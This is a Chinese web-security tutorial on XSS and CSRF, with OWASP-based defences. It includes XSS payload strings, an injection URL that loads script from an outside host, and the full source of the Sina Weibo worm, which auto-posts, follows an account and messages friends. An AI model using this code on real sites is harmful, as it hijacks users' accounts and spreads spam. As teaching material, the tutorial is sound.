WEB安全-XSS和CSRF漏洞

名词和概念

XSS -- Cross SiteScripting, 跨站脚本攻击,利用网页漏洞,注入恶意指令代码到网页,使用户加载并执行植入的脚本

Payload -- 攻击代码

CSRF -- Cross—Site Request Forgery,跨站请求伪造,盗用用户身份,发送恶意请求。

XSS原理和分类

反射型XSS

攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。DOM型XSS由于危害较小,我们将其归为反射型XSS。

存储型XSS

代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

举例

Payload举例

<pre><script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1) />
'"<img/src=@ onerror=alert(1) />
alert(1)
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
</script><script>alert(1)</pre>

不难看出,这些payload都是通过构造字符串来中断当前的dom结构,来创造js的执行环境并达到注入恶意js的目的。

攻击事件

MySpace,百度空间,人人网,搜狐博客,新浪微博都曾遭遇XSS蠕虫攻击并造成实质性危害,一般是社交类应用中,XSS攻击比较常见。事实上只要有用户输入和自定义的地方,只要不加防范,都有可能存在XSS漏洞。乌云某马甲心伤的瘦子曾经制作了一个xss攻击的经典教程,里面用到的所有案例都是腾讯各业务部门的真实漏洞。虽然乌云网目前已被和谐,不过通过百度仍然可以找到一些镜像,来作学习之用。

新浪微博XSS蠕虫

新浪微博突然出现大范围“中毒”,大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。事件的经过如下:

  • 20:14,开始有大量带V的认证用户中招转发蠕虫
  • 20:30,2kt.cn中的病毒页面无法访问
  • 20:32,新浪微博中hellosamy用户无法访问
  • 21:02,新浪漏洞修补完毕
image
image

影响:32961(这位hellosamy在帐号被封前的好友数量)。

sammy是第一个xss蠕虫的制作者,利用myspace的漏洞来实现控制其他账号发帖和关注自己的id。这个应该是为了向sammy致敬。

步骤

1、利用了新浪微博广场页存在的XSS漏洞,先使自己的微博“中毒”,在浏览器中加载如下地址即可:http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

2、使用有道提供的短域名服务(这些网址目前已经“无害”);

例如,通过 http://163.fm/PxZHoxn ,将链接指向:

http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

3、当新浪登陆用户不小心访问到相关网页时,由于处于登录状态,会运行这个js脚本做几件事情:

  1. 发微博(让更多的人看到这些消息,自然也就有更多人受害);
  2. 加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
  3. 发私信,给好友发私信传播这些链接

形成

未对用户名做转义处理!!

Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'
那么当把用户名字设置为xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update的时候,得到了以下代码:

<a href="http://weibo.com/pub/star/g/xyyyd"> <script src=//www.2kt.cn/images/t.js> </script>

Payload

function createXHR(){
    return window.XMLHttpRequest?
    new XMLHttpRequest():
    new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
    xmlHttp = createXHR();
    xmlHttp.open("GET",url,false);
    xmlHttp.send();
    result = xmlHttp.responseText;
    id_arr = '';
    id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
    for(i=0;i<id.length;i++){
        sum = id[i].toString().split('"')[3];
        id_arr += sum + '||';
    }
    return id_arr;
}
function random_msg(){
    link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
    var msgs = [
        '郭美美事件的一些未注意到的细节:',
        '建党大业中穿帮的地方:',
        '让女人心动的100句诗歌:',
        '3D肉团团高清普通话版种子:',
        '这是传说中的神仙眷侣啊:',
        '惊爆!范冰冰艳照真流出了:',
        '杨幂被爆多次被潜规则:',
        '傻仔拿锤子去抢银行:',
        '可以监听别人手机的软件:',
        '个税起征点有望提到4000:'];
    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
    msg = encodeURIComponent(msg);
    return msg;
}
function post(url,data,sync){
    xmlHttp = createXHR();
    xmlHttp.open("POST",url,sync);
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
    xmlHttp.send(data);
}
function publish(){
    url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
    post(url,data,true);
}
function follow(){
    url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
    data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
    post(url,data,true);
}
function message(){
    url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
    ids = getappkey(url);
    id = ids.split('||');
    for(i=0;i<id.length - 1 & i<5;i++){
        msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
        msg = random_msg();
        msg = encodeURIComponent(msg);
        user = encodeURIComponent(encodeURIComponent(id[i]));
        data = 'content=' + msg + '&name=' + user + '&retcode=';
        post(msgurl,data,false);
    }
}
function main(){
    try{
        publish();
    }
    catch(e){}
    try{
        follow();
    }
    catch(e){}
    try{
        message();
    }
    catch(e){}
}
try{
   x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

防御XSS

  • httponly -- 禁止js访问cookie

  • Content Security Policy -- 禁止外部js(可屏蔽运营商广告)

  • 使用自动转义的模版

  • 启用X-XSS-Protection头部

  • 使用现代框架时避免危险的属性:

    <colgroup><col><col></colgroup>

    框架名 危险方法/属性
    Angular (2+) bypassSecurityTrust
    React dangerouslySetInnerHTML
    Svelte {@html ...}
    Vue (2+) v-html

OWASP的建议

规则0 - 只允许在规则1-规则5的指定位置插入不可信内容

<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
<!--...NEVER PUT UNTRUSTED DATA HERE...-->
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />
<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>

规则1 - 插入内容到HTML结构中的时候需要先转义

<body>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</body>

<div>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</div>

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     
/ --> &#x2F;

规则2 - 插入不可信内容到HTML的通用属性时,需要做属性值转义

对于通用属性wide, name, value等做属性转义,相对复杂的比如href, src, style不适用该规则。另外对于onmouseover这种,应当遵从规则3针对js值的定义。

具体规则:

  1. 除字母,数字,字符以外,对ASCII值小于256的所有字符使用js编码,即&#xHH进行转义,防止属性值被关闭。不能直接用\转义完事,因为可能会连续执行多个\使得\失效。
  2. 使用属性值的时候最好加上引号,加了引号以后,值的解释只会被同类引号中断,如果没有加引号的话,中断字符包括:空格 % * + , - / ; < = > ^ 和 |.

规则3 - 插入不可信的值到javascript环境下时,只能作为数据值输入并进行js转义。

以下环境需要进行js转义:

<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>

<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>

<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>

而对于以下的环境,即便经过了转义也是危险的,因为很容易被分号,等号,空格,加号等符号中断。

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>

规则3.1 - HTML环境下,对json数据进行html转义,读取数据时使用JSON.parse.

比如,当我们使用以下的代码时:

<script>
// Do NOT do this without encoding the data with one of the techniques listed below.
var initData = <%= data.to_json %>; 
</script>

最好经过json序列化和html实体编码,因为构造的数据再这个时候一般会出错。

<div id="init_data" style="display: none">
<%= html_escape(data.to_json) %>
</div>

// external js file
var dataElement = document.getElementById('init_data');
// decode and parse the content of the div
var initData = JSON.parse(dataElement.textContent);

规则4 - 数据写入css的style属性的时候,需要做css转义和严格的验证

对于需要使用不可信数据作为css时,最好只用来作为属性的值,并且复杂的属性,比如url,behavior或者定制属性如-moz-binding等的时候,最好不要使用不安全的数据。

需要转义的情形包括:

<style>
selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }
</style>

<style>
selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; }
</style>

<span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>

否则,可能导致如下的攻击:

{ background-url : "javascript:alert(1)"; }  // and all other URLs
{ text-size: "expression(alert('XSS'))"; }   // only in IE

对于属性值的转义,主要是把ASCII值小于256的非数字,字母的字符用\HH表示。另外如果属性值没有使用引号的话,则可能被空格 % * + , - / ; < = > ^ 和 |等符号中断。

</style>标签也可能被提前关闭,即使是被引号包裹,因为html在js之前解析。

规则5 - 对URL数值做URL编码

除了字母和数字以外,其他字符都用%HH进行编码;禁用data:协议,因为没有好的方式去阻止属性可能被中断。

举例:

String userURL = request.getParameter( "userURL" )
boolean isValidURL = Validator.IsValidURL(userURL, 255); 
if (isValidURL) {  
    <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a>
}

规则6 -- Sanitize HTML Markup with a Library Designed for the Job

规则7 -- 避免使用javascript协议的url

CSRF

跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。

image
  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A; 2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  2. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  3. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  4. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

CSRF常用防御方案

  1. 同源检测,如验证referer
    • http请求可能不携带referer,使用https
    • 隐私模式下不携带referer
  2. csrftoken

FAQ

  • 有没有彻底防御xss/csrf的方法?
  • 使用了Reactjs是否仍然需要防御XSS?
  • 使用实体编码为什么不能解决问题?
  • 为什么是开发者而不是浏览器来处理安全问题?

附录

XSS防御规则

<colgroup><col><col><col><col></colgroup>

数据类型 环境 代码示例 防御方式
String Html Body <span>UNTRUSTED DATA </span> HTML实体编码
String Safe HTML Attributes <input type="text" name="fname" value="UNTRUSTED DATA "> 适用规则2,属性白名单的使用HTML实体编码,对background, id, name等进行严格验证
String src或者href属性 clickme <iframe src="UNTRUSTED URL " /> 限制协议为http,https,进行URL编码
String Css Value html
Selection 结构验证,16进制编码
String Javascript Variable <script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script> 加引号,16进制编码
HTML HTML Body

UNTRUSTED HTML

| 序列化/反序列化 |
| String | DOM XSS | <script>document.write("UNTRUSTED INPUT: " + document.location.hash );<script/> | 另一个话题 |

编码规则

<colgroup><col><col></colgroup>

编码类型 编码机制
HTML Entity Encoding Convert & to &, Convert < to <, Convert > to >, Convert " to ", Convert ' to ', Convert / to /
HTML Attribute Encoding Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value)
URL Encoding Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL.
JavaScript Encoding Except for alphanumeric characters, escape all characters with the \uXXXX unicode escaping format (X = Integer).
CSS Hex Encoding CSS escaping supports \XX and \XXXXXX. Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value.

延伸阅读

http://prompt.ml/0

Content-Security-Policy

OWASP关于XSS的防御建议

CSRF案例

CSRF漏洞原理和利用方法

美团CSRF

CSRF基本原理

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,242评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,769评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,484评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,133评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,007评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,080评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,496评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,190评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,464评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,549评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,330评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,205评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,567评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,889评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,160评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,475评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,650评论 2 335